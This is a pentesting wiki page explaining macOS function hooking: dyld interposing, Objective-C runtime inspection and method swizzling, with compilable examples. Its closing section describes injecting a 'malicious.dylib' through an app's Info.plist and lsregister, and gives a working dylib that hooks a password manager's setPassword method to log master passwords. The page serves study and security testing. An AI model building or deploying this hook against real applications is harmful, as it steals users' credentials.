# macOS Function Hooking {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %} ## Function Interposing Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions. Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions). ### Interpose printf {% tabs %} {% tab title="interpose.c" %} {% code title="interpose.c" %} ```c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include int my_printf(const char *format, ...) { //va_list args; //va_start(args, format); //int ret = vprintf(format, args); //va_end(args); int ret = printf("Hello from interpose\n"); return ret; } __attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf __attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf }; ``` {% endcode %} {% endtab %} {% tab title="hello.c" %} ```c //gcc hello.c -o hello #include int main() { printf("Hello World!\n"); return 0; } ``` {% endtab %} {% tab title="interpose2.c" %} ```c // Just another way to define an interpose // gcc -dynamiclib interpose2.c -o interpose2.dylib #include #define DYLD_INTERPOSE(_replacement, _replacee) \ __attribute__((used)) static struct { \ const void* replacement; \ const void* replacee; \ } _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \ (const void*) (unsigned long) &_replacement, \ (const void*) (unsigned long) &_replacee \ }; int my_printf(const char *format, ...) { int ret = printf("Hello from interpose\n"); return ret; } DYLD_INTERPOSE(my_printf,printf); ``` {% endtab %} {% endtabs %} ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello Hello from interpose DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello Hello from interpose ``` ## Method Swizzling In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`** It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);` The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**. Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**. {% hint style="danger" %} Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov ` or [`class-dump `](https://github.com/nygard/class-dump) {% endhint %} ### Accessing the raw methods It's possible to access the information of the methods such as name, number of params or address like in the following example: ```objectivec // gcc -framework Foundation test.m -o test #import #import #import int main() { // Get class of the variable NSString* str = @"This is an example"; Class strClass = [str class]; NSLog(@"str's Class name: %s", class_getName(strClass)); // Get parent class of a class Class strSuper = class_getSuperclass(strClass); NSLog(@"Superclass name: %@",NSStringFromClass(strSuper)); // Get information about a method SEL sel = @selector(length); NSLog(@"Selector name: %@", NSStringFromSelector(sel)); Method m = class_getInstanceMethod(strClass,sel); NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m)); NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m)); // Iterate through the class hierarchy NSLog(@"Listing methods:"); Class currentClass = strClass; while (currentClass != NULL) { unsigned int inheritedMethodCount = 0; Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount); NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount); for (unsigned int i = 0; i < inheritedMethodCount; i++) { Method method = inheritedMethods[i]; SEL selector = method_getName(method); const char* methodName = sel_getName(selector); unsigned long address = (unsigned long)method_getImplementation(m); NSLog(@"Inherited method name: %s (0x%lx)", methodName, address); } // Free the memory allocated by class_copyMethodList free(inheritedMethods); currentClass = class_getSuperclass(currentClass); } // Other ways to call uppercaseString method if([str respondsToSelector:@selector(uppercaseString)]) { NSString *uppercaseString = [str performSelector:@selector(uppercaseString)]; NSLog(@"Uppercase string: %@", uppercaseString); } // Using objc_msgSend directly NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString)); NSLog(@"Uppercase string: %@", uppercaseString2); // Calling the address directly IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method NSLog(@"Uppercase string: %@", uppercaseString3); return 0; } ``` ### Method Swizzling with method\_exchangeImplementations The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**. {% hint style="danger" %} So when a function is called what is **executed is the other one**. {% endhint %} ```objectivec //gcc -framework Foundation swizzle_str.m -o swizzle_str #import #import // Create a new category for NSString with the method to execute @interface NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; @end @implementation NSString (SwizzleString) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { NSLog(@"Custom implementation of substringFromIndex:"); // Call the original method return [self swizzledSubstringFromIndex:from]; } @end int main(int argc, const char * argv[]) { // Perform method swizzling Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:)); Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:)); method_exchangeImplementations(originalMethod, swizzledMethod); // We changed the address of one method for the other // Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled // Example usage NSString *myString = @"Hello, World!"; NSString *subString = [myString substringFromIndex:7]; NSLog(@"Substring: %@", subString); return 0; } ``` {% hint style="warning" %} In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running. The following technique doesn't have this restriction. {% endhint %} ### Method Swizzling with method\_setImplementation The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**. Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address. ```objectivec #import #import #import static IMP original_substringFromIndex = NULL; @interface NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from; @end @implementation NSString (Swizzlestring) - (NSString *)swizzledSubstringFromIndex:(NSUInteger)from { NSLog(@"Custom implementation of substringFromIndex:"); // Call the original implementation using objc_msgSendSuper return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from); } @end int main(int argc, const char * argv[]) { @autoreleasepool { // Get the class of the target method Class stringClass = [NSString class]; // Get the swizzled and original methods Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:)); // Get the function pointer to the swizzled method's implementation IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:))); // Swap the implementations // It return the now overwritten implementation of the original method to store it original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP); // Example usage NSString *myString = @"Hello, World!"; NSString *subString = [myString substringFromIndex:7]; NSLog(@"Substring: %@", subString); // Set the original implementation back method_setImplementation(originalMethod, original_substringFromIndex); return 0; } } ``` ## Hooking Attack Methodology In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**. In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port). However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations. However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass. So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like: ```xml LSEnvironment DYLD_INSERT_LIBRARIES /Applications/Application.app/Contents/malicious.dylib ``` and then **re-register** the application: {% code overflow="wrap" %} ```bash /System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app ``` {% endcode %} Add in that library the hooking code to exfiltrate the information: Passwords, messages... {% hint style="danger" %} Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore. {% endhint %} #### Library example ```objectivec // gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib // If you added env vars in the Info.plist don't forget to call lsregister as explained before // Listen to the logs with something like: // log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"' #include #import // Here will be stored the real method (setPassword in this case) address static IMP real_setPassword = NULL; static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL) { // Function that will log the password and call the original setPassword(pass, file_path) method NSLog(@"[+] Password is: %@", password); // After logging the password call the original method so nothing breaks. return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL); } // Library constructor to execute __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { // Get the real method address to not lose it Class classMPDocument = NSClassFromString(@"MPDocument"); Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:)); // Make the original method setPassword call the fake implementation one IMP fake_IMP = (IMP)custom_setPassword; real_setPassword = method_setImplementation(real_Method, fake_IMP); } ``` ## References * [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
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{% endhint %}